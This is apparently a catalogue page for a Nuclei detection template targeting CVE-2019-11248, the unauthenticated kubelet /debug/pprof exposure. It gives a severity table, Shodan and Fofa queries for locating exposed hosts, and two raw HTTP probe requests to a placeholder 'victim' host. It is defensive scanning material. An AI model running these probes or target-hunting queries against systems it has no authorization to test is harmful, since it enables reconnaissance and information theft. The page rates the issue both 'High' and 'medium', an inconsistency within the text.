| Title | Debug Endpoint pprof - Exposure Detection |
|---|---|
| Author | 0xceeb,ritikchaddha |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to gather sensitive information, potentially leading to further attacks. |
| Remediation | Disable or restrict access to the Debug Endpoint pprof to prevent unauthorized access. |
| CVSS Score | 8.2 |
| EPSS Score | 0.91212 |
| CVE ID | CVE-2019-11248 |
| CWE ID | CWE-862,CWE-419 |
| Shodan Query | http.title:"kubernetes web view" |
| Fofa Query | title="kubernetes web view"app="kubernetes-enterprise-manager" |
| Tags | cve2019 cve debug kubernetes kubelet devops unauth disclosure vkev vuln |
The debugging endpoint /debug/pprof is exposed over the unauthenticated Kubelet healthz port. This debugging endpoint can potentially leak sensitive information such as internal Kubelet memory addresses and configuration, or for limited denial of service. Versions prior to 1.15.0, 1.14.4, 1.13.8, and 1.12.10 are affected. The issue is of medium severity, but not exposed by the default configuration.
GET /debug/pprof/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /debug/pprof/goroutine?debug=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_10_3 rv:2.0; so-DJ) AppleWebKit/533.15.6 (KHTML, like Gecko) Version/4.0.2 Safari/533.15.6
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-11248.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-11248.pcap
N/AN/A